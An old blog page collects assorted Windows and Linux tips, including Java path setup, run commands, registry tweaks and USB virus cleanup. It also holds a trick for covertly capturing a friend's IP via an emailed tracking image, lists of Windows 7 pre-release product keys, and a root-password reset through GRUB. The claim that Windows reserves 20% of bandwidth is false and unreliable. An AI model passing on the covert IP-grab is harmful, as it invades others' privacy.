Amazing TIPS & TRICKS

2011-08-31T05:03:00.000-07:00

ghell...sorry to be a pain...but you actually need to use the CLASSPATH variable...and it should at the least contain the following value ".;"

classpath

Yeah, a dot and a semi-colon....why you might ask?...here is a simple answer.

The dot instructs the javac command to look for class definitions in the same directory of your file...before looking else where (JAVA_HOME). This means that if you have packages in your project...javac won't have problems compiling your files because it will start looking there first...and obviously...speed up the whole process of compilations.

Therefore...I would recommend the following setup

JAVA_HOME=C:\Program Files\Java\jdk1.6.0_01;
PATH=%JAVA_HOME%\bin;%PATH%;
CLASS_PATH=.;

2011-08-31T05:02:00.006-07:00

PATH and CLASSPATH

This section explains how to use the PATH and CLASSPATH environment variables on Microsoft Windows, Solaris, and Linux. Consult the installation instructions included with your installation of the Java Development Kit (JDK) software bundle for current information.

After installing the software, the JDK directory will have the structure shown below.

The bin directory contains both the compiler and the launcher.
Update the PATH Variable (Microsoft Windows NT/2000/XP)
You can run Java applications just fine without setting the PATH variable. Or, you can optionally set it as a convenience.

Set the PATH variable if you want to be able to conveniently run the executables (javac.exe, java.exe, javadoc.exe, and so on) from any directory without having to type the full path of the command. If you do not set the PATH variable, you need to specify the full path to the executable every time you run it, such as:

C:\Program Files\Java\jdk1.6.0\bin\javac MyClass.java

Note: It is useful to set the PATH permanently so it will persist after rebooting. To set it permanently, add the full path of the jdk1.6.0 bin directory to the PATH variable. Set the PATH as follows.

To make a permanent change to the CLASSPATH variable, use the System icon in the Control Panel. The precise procedure varies depending on the version of Windows.

The PATH can be a series of directories separated by semicolons (;). Microsoft Windows looks for programs in the PATH directories in order, from left to right. You should have only one bin directory for the JDK in the path at a time (those following the first are ignored), so if one is already present, you can update that particular entry.

Update the PATH Variable (Solaris and Linux)
You can run the JDK just fine without setting the PATH variable, or you can optionally set it as a convenience. However, you should set the path variable if you want to be able to run the executables (javac, java, javadoc, and so on) from any directory without having to type the full path of the command. If you do not set the PATH variable, you need to specify the full path to the executable every time you run it, such as:

% /usr/local/jdk1.6.0/bin/javac MyClass.java

To find out if the path is properly set, execute:

% java -version

This will print the version of the java tool, if it can find it. If the version is old or you get the error java: Command not found, then the path is not properly set.

To set the path permanently, set the path in your startup file.

For C shell (csh), edit the startup file (~/.cshrc):

set path=(/usr/local/jdk1.6.0/bin )

For bash, edit the startup file (~/.bashrc):

PATH=/usr/local/jdk1.6.0/bin:
export PATH

For ksh, the startup file is named by the environment variable, ENV. To set the path:

PATH=/usr/local/jdk1.6.0/bin:
export PATH

For sh, edit the profile file (~/.profile):

PATH=/usr/local/jdk1.6.0/bin:
export PATH

Then load the startup file and verify that the path is set by repeating the java command:

For C shell (csh):

% source ~/.cshrc
% java -version

For ksh, bash, or sh:

% . /.profile
% java -version

Checking the CLASSPATH variable (All platforms)
The CLASSPATH variable is one way to tell applications, including the JDK tools, where to look for user classes. (Classes that are part of the JRE, JDK platform, and extensions should be defined through other means, such as the bootstrap class path or the extensions directory.)

The preferred way to specify the class path is by using the -cp command line switch. This allows the CLASSPATH to be set individually for each application without affecting other applications. Setting the CLASSPATH can be tricky and should be performed with care.

The default value of the class path is ".", meaning that only the current directory is searched. Specifying either the CLASSPATH variable or the -cp command line switch overrides this value.

To check whether CLASSPATH is set on Microsoft Windows NT/2000/XP, execute the following:

C:> echo %CLASSPATH%

On Solaris or Linux, execute the following:

% echo $CLASSPATH

If CLASSPATH is not set you will get a CLASSPATH: Undefined variable error (Solaris or Linux) or simply %CLASSPATH% (Microsoft Windows NT/2000/XP).

To modify the CLASSPATH, use the same procedure you used for the PATH variable.

Class path wildcards allow you to include an entire directory of .jar files in the class path without explicitly naming them individually. For more information, including an explanation of class path wildcards, and a detailed description on how to clean up the CLASSPATH environment variable, see the Setting the Class Path technical note.

2011-08-31T05:02:00.005-07:00

How to find your friend's IP:

Find you friend IP by just using the following simple trick,

Go>www.spypig.com
>Enter your E-Mail ID
>Copy the image which is provided there
>You have 60sec
>Paste and send it to your friend (whos IP is to be found out)
>When your friend opens it,you wil get his/her IP..

2011-08-31T05:02:00.003-07:00

Free Windows 7 Product Keys for Release Candidate (RC) Activation

The Windows 7 product keys given away by Microsoft to Windows 7 Release Candidate (RC) downloaders appear to be from a pool of same 15 sets of product keys, similar to what’s happen during public availability of Windows 7 Beta where everybody gets the same sets of Windows 7 Beta product keys, after massive interest crashed the Microsoft servers.

After downloading and installing the 32-bit and 64-bit Windows 7 RC x86 and x64 DVD ISO images, the default activation grace period of 30 days applies. For users who want to use the Windows 7 RC systems beyond 30 days activation period, use one of the following free product keys to activate the Windows 7 system.

Download Windows 7 RC ISO and Product Key

Free Windows 7 RC Activation Product Keys

MM7DF-G8XWM-J2VRG-4M3C4-GR27X
KGMPT-GQ6XF-DM3VM-HW6PR-DX9G8
MVBCQ-B3VPW-CT369-VM9TB-YFGBP
KBHBX-GP9P3-KH4H4-HKJP4-9VYKQ
BCGX7-P3XWP-PPPCV-Q2H7C-FCGFR
RGQ3V-MCMTC-6HP8R-98CDK-VP3FM
Q3VMJ-TMJ3M-99RF9-CVPJ3-Q7VF3
6JQ32-Y9CGY-3Y986-HDQKT-BPFPG
P72QK-2Y3B8-YDHDV-29DQB-QKWWM
6F4BB-YCB3T-WK763-3P6YJ-BVH24
9JBBV-7Q7P7-CTDB7-KYBKG-X8HHC
C43GM-DWWV8-V6MGY-G834Y-Y8QH3
GPRG6-H3WBB-WJK6G-XX2C7-QGWQ9
MT39G-9HYXX-J3V3Q-RPXJB-RQ6D7
MVYTY-QP8R7-6G6WG-87MGT-CRH2P

The product keys can be used to activate both 32bit and 64bit Windows 7 RC.

2011-08-31T05:02:00.001-07:00

chat

If you chat very frequently with one of your friend then now you can make gtalk chat shortcut on your desktop. It willl initiate a chat with only one click. On click it opens a chat window where you can chat with your friend. But unfortunately this trick works only in window xp nt in window vista.
Here are steps to follow:
1) Right click on your desktop and go to New > Shortcut.
2) In create shortcut window, type gtalk:chat?jid= username@ gmail.com. Where username is gmail id of your friend.
3) Click ok.
Its done.
You can also make shortcut to call your friend for that you have to write gtalk:call?jid= username@ gmail.com

2011-08-31T05:01:00.005-07:00

IP address of your connection

Go to start/run type 'cmd'
then type 'ipconfig'
Add the '/all' switch for more info.

2011-08-31T05:01:00.003-07:00

IP commands
Display Connection Configuration: ipconfig /all or ipconfig/?

Display DNS Cache Info Configuration: ipconfig /displaydns

Clear DNS Cache: ipconfig /flushdns

Release All IP Address Connections: ipconfig /release

Renew All IP Address Connections: ipconfig /renew

Re-Register the DNS connections: ipconfig /registerdns

Display DHCP Class Information:ipconfig /showclassid

Change/Modify DHCP Class ID: ipconfig /setclassid

Network Connections: control netconnections

Network Setup Wizard: netsetup.cpl

Test Connectivity: ping

Trace IP address Route: tracert

Displays the TCP/IP protocol sessions: netstat

Display Local Route: route

Display Resolved MAC Addresses: arp

Display Name of Computer Currently on: hostname

2011-08-31T05:01:00.001-07:00

Windows 7 Beta 32-bit Product Key

6JKV2-QPB8H-RQ893-FW7TM-PBJ73
TQ32R-WFBDM-GFHD2-QGVMH-3P9GC
GG4MQ-MGK72-HVXFW-KHCRF-KW6KY
4HJRK-X6Q28-HWRFY-WDYHJ-K8HDH
QXV7B-K78W2-QGPR6-9FWH9-KGMM7

2011-08-31T05:00:00.004-07:00

Reset the root password in Linux Systems.

1) When it shows the two Os (Windows, Red hat), highlight the red hat option and Press ‘e’.
2) This will show two or three options; in these one of the options will have ‘kernel’ word. Highlight that option and press ‘e’.
3) This will show the grub command line, in that line shown press a space and type ‘1’(no single quotes) to login into the single user mode and press Enter.
4) Linux will start to load and it will show # prompt.
5) Now type ‘passwd’, this will prompt for the new password.
6) Type the new password, once again it will ask for retype, retype once again and press enter.
7) Type exit to quit the prompt and linux will start to load.
8) Now you can login into the root user with your changed password.

2011-08-31T05:00:00.003-07:00

Secret ‘GodModes’ in Windows 7
7 January 2010 6 Comments Posted By Ashik
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The foxy-sounding name is a little deceiving, because as far as we know, it is exactly what people are calling it – a glorified control panel. However, that goes without saying how useful this feature actually is.

GodMode is the name given to cheats in video games that provided you with all weapons and access to all areas. As it turns out, Windows 7 has a GodMode cheat as well. It is basically a control panel of sorts which provides you access to all the features in one explorer window. In the Windows 7 control panel, features are grouped together either in categories or control panel item names. Nothing is grouped under anything in GodMode.
How to access GodMode?

Method 1:

1. Create a new folder and name it GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

2. The icon will be changed automatically to Control Panel’s icon.

3. Now open the folder and see the magic of Windows Registry!

Method 2

1. Create a shortcut with following path and set desired icon:

explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

Note: Sometimes it kills explorer.exe using Method 1! probably Windows Vista x64 editions. Therefore I suggest to use Method 2.
Solution for the Crash

To get rid of this issue, Boot into Safe Mode with Command Prompt and delete that folder. For eg. You created a folder GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} on desktop, So either navigate to Desktop folder execute the following command:

RmDir “GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}”

Or type the absolute path of folder, like-

RmDir “C:\Users\\Desktop\GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}”

Applies To:

* Windows Vista x86 editions
* Windows Vista x64 editions
* Windows 7 x86 editions
* Windows 7 x64 editions

Windows has lot of GodModes

It is found that there are lot of GodModes and they differ based on the Strings used in Name the Folder.

In an e-mail interview, Steven Sinofsky, Windows division president, said several similar undocumented features provide direct access to all kinds of settings, from choosing a location to managing power settings to identifying biometric sensors.

As with the all-encompassing GodMode uncovered by bloggers, these other settings can be accessed directly by creating a new folder with any name (GodMode or otherwise) and then including a certain text string. Sinofsky noted more than a dozen strings create particular settings folders, in addition to the overarching GodMode folder option.

For example, the first one could be a folder named “Hungry Hacker.{00C6D95F-329C-409a-81D7-C46C66EA7F33}” (use everything inside quotes–but not the quotes themselves).

Here’s the list of strings:

{00C6D95F-329C-409a-81D7-C46C66EA7F33}
{0142e4d0-fb7a-11dc-ba4a-000ffe7ab428}
{025A5937-A6BE-4686-A844-36FE4BEC8B6D}
{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}
{1206F5F1-0569-412C-8FEC-3204630DFB70}
{15eae92e-f17a-4431-9f28-805e482dafd4}
{17cd9488-1228-4b2f-88ce-4298e93e0966}
{1D2680C9-0E2A-469d-B787-065558BC7D43}
{1FA9085F-25A2-489B-85D4-86326EEDCD87}
{208D2C60-3AEA-1069-A2D7-08002B30309D}
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
{2227A280-3AEA-1069-A2DE-08002B30309D}
{241D7C96-F8BF-4F85-B01F-E2B043341A4B}
{4026492F-2F69-46B8-B9BF-5654FC07E423}
{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}
{78F3955E-3B90-4184-BD14-5397C15F1EFC}

2011-08-31T05:00:00.001-07:00

How to prevent your PEN drive from VIRUS

Friends many of your PC/laptop's normally gets virus because of Pen Drives or USB devices (Even PC's who are not connected to network ). Some Virus like Ravmon Virus , Heap41a worm which are not detected by anti virus normally spreads mostly by the Pen Drives . In such a case what can you do to prevent your PC from getting infected with Virus that spreads through USB devices or Pen Drives ?
You can protect your PC by just following the simple steps below . It won't take much time.

Connect your Pen Drive or USB drive to your computer .
Now a dialogue window will popup asking you to choose among the options as shown in the figure.
Don't choose any of them , Just simply click Cancel.

*Now go to Start--> Run and type cmd to open the Command Prompt window .

*Now go to My Computer and Check the Drive letter of your USB drive or Pen Drive.
( E.g. If it is written Kingston (I), then I: will be the drive letter .)

*In the Command Window ( cmd ) , type the drive letter: and Hit Enter .

*Now type dir/w/o/a/p and Hit Enter

*You will get a list of files . In the list , search if anyone of the following do exist

1. Autorun.inf
2. New Folder.exe
3. Bha.vbs
4. Iexplore.vbs
5. Info.exe
6. New_Folder.exe
7. Ravmon.exe
8. RVHost.exe or any other files with .exe Extension .

If you find any one of the files above , Run the command attrib -h -r -s -a *.* and Hit Enter.

Now Delete each File using the following Command del filename ( E.g del autorun.inf ) .

That's it .Now just scan your USB drive with the anti virus you have to ensure that you made your Pen
Drive free of Virus .

Hi Frnds...
This virus is very very common now...
To know whether ur system is infected just type C:\heap41a in the address bar...
if there is a folder named heap41a, then ur system is infected...
(AVAST antivirus is the best solution for this worm...) symantec also works

2011-08-31T04:59:00.000-07:00

Available for users only
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:

Local Computer Policy >
Computer Configuration >
Administrative Templates >
Network >
QOS Packet Scheduler >
then to Limit Reservable Bandwidth

Double click on Limit Reservable bandwidth. It will say it is not
configured, but the truth is under the 'Explain' tab i.e."By default,
the Packet Scheduler limits the system to 20 percent of the bandwidth
of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO.
This will allow the system to reserve nothing, rather than the default
20%. It works on Win 2000 as well.

2011-08-31T04:57:00.001-07:00

20 things you didn't know about Windows XP

You've read the reviews and digested the key feature enhancements and operational changes. Now it's time to delve a bit deeper and uncover some of Windows XP's secrets.

1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.
8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

20. The next release of Windows XP, codenamed Longhorn, is due out late next year or early 2003 and won't be much to write home about. The next big release is codenamed Blackcomb and will be out in 2003/2004.

2011-08-31T04:56:00.003-07:00

117 Run Commands In Windows Xp

1. Accessibility Controls - access.cpl

2. Accessibility Wizard - accwiz

3. Add Hardware Wizard - hdwwiz.cpl

4. Add/Remove Programs - appwiz.cpl

5. Administrative Tools - control admintools

6. Automatic Updates - wuaucpl.cpl

7. Bluetooth Transfer Wizard - fsquirt

8. Calculator - calc

9. Certificate Manager - certmgr.msc

10. Character Map - charmap

11. Check Disk Utility - chkdsk

12. Clipboard Viewer - clipbrd

13. Command Prompt - cmd

14. Component Services - dcomcnfg

15. Computer Management - compmgmt.msc

16. Control Panel - control

17. Date and Time Properties - timedate.cpl

18. DDE Shares - ddeshare

19. Device Manager - devmgmt.msc

20. Direct X Troubleshooter - dxdiag

21. Disk Cleanup Utility - cleanmgr

22. Disk Defragment - dfrg.msc

23. Disk Management - diskmgmt.msc

24. Disk Partition Manager - diskpart

25. Display Properties - control desktop

26. Display Properties - desk.cpl

27. Dr. Watson System Troubleshooting Utility - drwtsn32

28. Driver Verifier Utility - verifier

29. Event Viewer - eventvwr.msc

30. Files and Settings Transfer Tool - migwiz

31. File Signature Verification Tool - sigverif

32. Findfast - findfast.cpl

33. Firefox - firefox

34. Folders Properties - control folders

35. Fonts - control fonts

36. Fonts Folder - fonts

37. Free Cell Card Game - freecell

38. Game Controllers - joy.cpl

39. Group Policy Editor (for xp professional) - gpedit.msc

40. Hearts Card Game - mshearts

41. Help and Support - helpctr

42. HyperTerminal - hypertrm

43. Iexpress Wizard - iexpress

44. Indexing Service - ciadv.msc

45. Internet Connection Wizard - icwconn1

46. Internet Explorer - iexplore

47. Internet Properties - inetcpl.cpl

48. Keyboard Properties - control keyboard

49. Local Security Settings - secpol.msc

50. Local Users and Groups - lusrmgr.msc

51. Logs You Out Of Windows - logoff

52. Malicious Software Removal Tool - mrt

53. Microsoft Chat - winchat

54. Microsoft Movie Maker - moviemk

55. Microsoft Paint - mspaint

56. Microsoft Syncronization Tool - mobsync

57. Minesweeper Game - winmine

58. Mouse Properties - control mouse

59. Mouse Properties - main.cpl

60. Netmeeting - conf

61. Network Connections - control netconnections

62. Network Connections - ncpa.cpl

63. Network Setup Wizard - netsetup.cpl

64. Notepad notepad

65. Object Packager - packager

66. ODBC Data Source Administrator - odbccp32.cpl

67. On Screen Keyboard - osk

68. Outlook Express - msimn

69. Paint - pbrush

70. Password Properties - password.cpl

71. Performance Monitor - perfmon.msc

72. Performance Monitor - perfmon

73. Phone and Modem Options - telephon.cpl

74. Phone Dialer - dialer

75. Pinball Game - pinball

76. Power Configuration - powercfg.cpl

77. Printers and Faxes - control printers

78. Printers Folder - printers

79. Regional Settings - intl.cpl

80. Registry Editor - regedit

81. Registry Editor - regedit32

82. Remote Access Phonebook - rasphone

83. Remote Desktop - mstsc

84. Removable Storage - ntmsmgr.msc

85. Removable Storage Operator Requests - ntmsoprq.msc

86. Resultant Set of Policy (for xp professional) - rsop.msc

87. Scanners and Cameras - sticpl.cpl

88. Scheduled Tasks - control schedtasks

89. Security Center - wscui.cpl

90. Services - services.msc

91. Shared Folders - fsmgmt.msc

92. Shuts Down Windows - shutdown

93. Sounds and Audio - mmsys.cpl

94. Spider Solitare Card Game - spider

95. SQL Client Configuration - cliconfg

96. System Configuration Editor - sysedit

97. System Configuration Utility - msconfig

98. System Information - msinfo32

99. System Properties - sysdm.cpl

100. Task Manager - taskmgr

101. TCP Tester - tcptest

102. Telnet Client - telnet

103. User Account Management - nusrmgr.cpl

104. Utility Manager - utilman

105. Windows Address Book - wab

106. Windows Address Book Import Utility - wabmig

107. Windows Explorer - explorer

108. Windows Firewall - firewall.cpl

109. Windows Magnifier - magnify

110. Windows Management Infrastructure - wmimgmt.msc

111. Windows Media Player - wmplayer

112. Windows Messenger - msmsgs

113. Windows System Security Tool - syskey

114. Windows Update Launches - wupdmgr

115. Windows Version - winver116. Windows XP Tour Wizard - tourstart

117. Wordpad - write

2011-08-31T04:56:00.001-07:00

Cannot enable Show Hidden files Check
A common virus disables the Show hidden files and folders function in Windows XP. Here is how to enable it again.

The symptom of this problem is every time you select the Show hidden files and folders options under Folder Options, the screen just flashes when you click OK and the hidden files and folders are not unhidden.

You can fix this problem with a registry hack:

1. Click Start > Run and type REGEDIT
2. Click the plus sign next to HKEY_CURRENT_USER then SOFTWARE then Microsoft

then Windows then CurrentVersion then Explorer then Advanced then Folder
then Hidden then Showall

On the right side, double click on the checked value and give it a value of 1.

You should now be able to enable hidden files and folders

2011-08-31T04:55:00.002-07:00

Branding Windows With Your Name

open notepad dump the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:

[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here

2011-08-31T04:55:00.001-07:00

ACCESS DIFFERENT PROGRAMS THROUGH RUN COMMAND

• appwiz.cpl — Used to run Add/Remove wizard
• Calc –Calculator
• Cfgwiz32 –ISDN Configuration Wizard
• Charmap –Character Map
• Chkdisk –Repair damaged files
• Cleanmgr –Cleans up hard drives
• Clipbrd –Windows Clipboard viewer
• Cmd –Opens a new Command Window
• Control mouse –Used to control mouse properties
• Control –Displays Control Panel
• Dcomcnfg –DCOM user security
• Debug –Assembly language programming tool
• Defrag –Defragmentation tool
• Drwatson –Records programs crash & snapshots
• Dxdiag –DirectX Diagnostic Utility
• Explorer –Windows Explorer
• Fontview –Graphical font viewer
• Fsmgmt.msc — Used to open shared folders
• Firewall.cpl — Used to configure windows firewall
• Ftp -ftp.exe program
• Hostname –Returns Computer’s name
• Hdwwiz.cpl — Used to run Add Hardware wizard
• Ipconfig –Displays IP configuration for all network adapters
• Logoff — Used to logoff the computer
• MMC –Microsoft Management Console
• Msconfig –Configuration to edit startup files
• Mstsc — Used to access remote desktop
• Mrc — Malicious Software Removal Tool
• Msinfo32 –Microsoft System Information Utility
• Nbtstat –Displays stats and current connections using NetBIOS over TCP/IP
• Netstat –Displays all active network connections
• Nslookup–Returns your local DNS server
• Osk —Used to access on screen keyboard
• Perfmon.msc — Used to configure the performance of Monitor.
• Ping –Sends data to a specified host/IP
• Powercfg.cpl — Used to configure power option
• Regedit –Registry Editor
• Regwiz — Registration wizard
• Sfc /scannow – System File Checker
• Sndrec32 –Sound Recorder
• Shutdown — Used to shutdown the windows
• Spider — Used to open spider solitaire card game
• Sfc / scannow — Used to run system file checker utility.
• Sndvol32 –Volume control for soundcard
• Sysedit – Edit system startup files
• Taskmgr –Task manager
• Telephon.cpl — Used to configure modem options.
• Telnet –Telnet program
• Tracert –Traces and displays all paths required to reach an internet host
• Winchat — Used to chat with Microsoft
• Wmplayer — Used to run Windows Media player
• Wab — Used to open Windows address Book.
• WinWord — Used to open Microsoft word
• Winipcfg –Displays IP configuration
• Winver — Used to check Windows Version
• Wupdmgr –Takes you to Microsoft Windows Update
• Write — Used to open WordPad

2011-08-31T04:54:00.002-07:00

CHANGE PROCESSOR NAME

GO TO START>RUN>TYPE REGEDIT>HKEY_LOCAL_MACHINE>HARDWARE>DISCRIPTION>
SYSTEM>CENTRAL PROCESSOR>
ON RIGHT HAND SIDE RIGHT CLICK ON PROCESSORNAMESTRING AND THEN WRITE ANYTHING U WANT IN THAT TEXTBOX

2011-08-31T04:54:00.001-07:00

Change the Default Directory of Software Installation

You may want to change the location of your system default folder (C:\Program Files) from C drive to another system drives (D or E drive). By default software setup will attempt to install program in C:\Program Files directory. It is good practice to make the backup of the installed programs, if you installed all your programs in other than C drive. If you have little knowledge about editing windows registry then you can configure your computer for this purpose.
Follow the given steps to configure windows registry:
1. Click on Start button then type Regedit in Run option.
2. Here navigate to: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
3. In right side panel, double click on ProgramFileDir.
4. Now modify the value to any other drive (for example D:\Program Files).
Now close the registry editor and restart your computer after any changes to go into effect.

2011-08-31T04:53:00.001-07:00

Add Or Stop Programs During Startup

You can start or stop programs from executing at bootup by adding or deleting them to/from the run Keys in the Registry. Windows loads programs to start in the following order; Program listed in the Local Machine hive, then the Current User hive, then theWin.ini Run= and Load = lines. then finally programs in your Start Up folder.

To add or remove programs in the Registry
1.Open RegEdit

2.Go to the desired

KeyHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

3. Add a new String Value and name it anything you like

4. For the value data, enter the path and executable for the program you want to run.

By adding the value to the HKEY_CURRENT_USER hive instead allows the program to start only when that user is logged on.

If you add the value to the RunOnce key the program will run once and be removed from the key by Windows

2011-08-31T04:46:00.000-07:00

10 Steps you should do when your Computer Hangs up
You are in the middle of doing your work, suddenly you realized your computer hanged up. But the problem is, you have not saved your work! Don’t panic! There is a solution for that! And you can surely save your file! Here’s how:

1. Click on “ctrl-alt-delete” keys.

The windows task manager will then open, click on all programs that you don’t need and end the task. You will see that all programs on your taskbar will close one by one. If this will resolve the issue! – then save! (tip# 1: if you’re working on an MS Office application, it will automatically save your file in case the programs suddenly shut down — tip# 2: always save your file at least every 2 minutes by just simply clicking on the “diskette icon”— its just one click!)

2. If it did not resolve the issue,

are there some users logged on that computer? If so, go to switch user (for XP) and log off that user, go back to your log on screen and log on again.

The reason the computer hang up is because if there are many open programs and applications, these retains in the memory, if it is too much for the memory to handle, it freezes! Another reason too the computer hang up is because if you are connected to the internet via dial up, and you are running too many applications and opening many websites. So I suggest, if you are multimedia user or a heavy internet user, then you are better off with a higher memory, at least 512Mb of memory.

There are simple ways to avoid computer to freeze or hang up:

3. Clean your history at least once a week

>tools>internet options>clear history. I normally set my history to “0”, meaning, when I restart my computer, it doesn’t save history pages that I have visited

4. Delete all internet temporary files

>tools>internet options>delete files (do the “offline” content too!)

5. Delete cookies

(some do not do this, but I do delete cookies at least once a week!) >tools>internet options>delete cookies
6. Remove unnecessary programs that you no longer use
they are just occupying space and memory! >control panel>add/remove programs

7. Do defragmentation at least once a week

>point the mouse to “start” button, then right click “explore”>right click the mouse pointing to drive C (which is usually the main system logical drive) >properties>tools>defragment now

8. You can also check the logical drive’s volume for errors

>point the mouse to “start” button, then right click “explore”>right click the mouse pointing to drive C (I repeat, is usually the main system logical drive) >properties>tools>check now

9. It is better to have only one user being logged on.

Even if there are many users, make sure the user logs off after using the computer, rather than keeping it logged on and you do the switching of users. Switching users is good as long as you don’t keep all users logged on—I think that is more logical

10. Always shut down properly the computer

(do NOT use the power button when turning it off!

2011-08-31T04:10:00.001-07:00

How to disable/enable the usage of USB storage devices?

USB drives (also known as flash drive, mobile disk or pen drive) are becoming the most popular standard in these days to store and move data. USB support is available in PCs of both IBM-compatible and Apple computers. USB port support hot plugging and plug & play. The USB allows up to 127 devices to be connected to the bus via a single port. The driver name "usbstor.sys" is used to communicate any USB drives to the operating system.

USB drives are indeed very useful in these days but a user can easily use to transfer any confidential information from your computer to others and can also upload viruses affected files to your computer by accidentally or deliberately. But you can prevent the users to connect any USB drives in the computer by disabling the ability of "usbstor.sys" (USB driver) to load in system. It will block the USB storage devices only and your system USB keyboard, mouse and others USB devices will work properly.

Perform the following steps to block the USB storage devices:

To edit this feature, you will need to be logged into your computer with administrative rights.
First click on Start button to open "Run" and type "regedit" then press Ok button to open the Registry Editor.

In registry editor locate the given path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR

Here select the "USBSTOR" folder and in right side of the registry editor panel find the value with name "Start".

Double click on "Start" and then set its value 4 under "Value data" section.

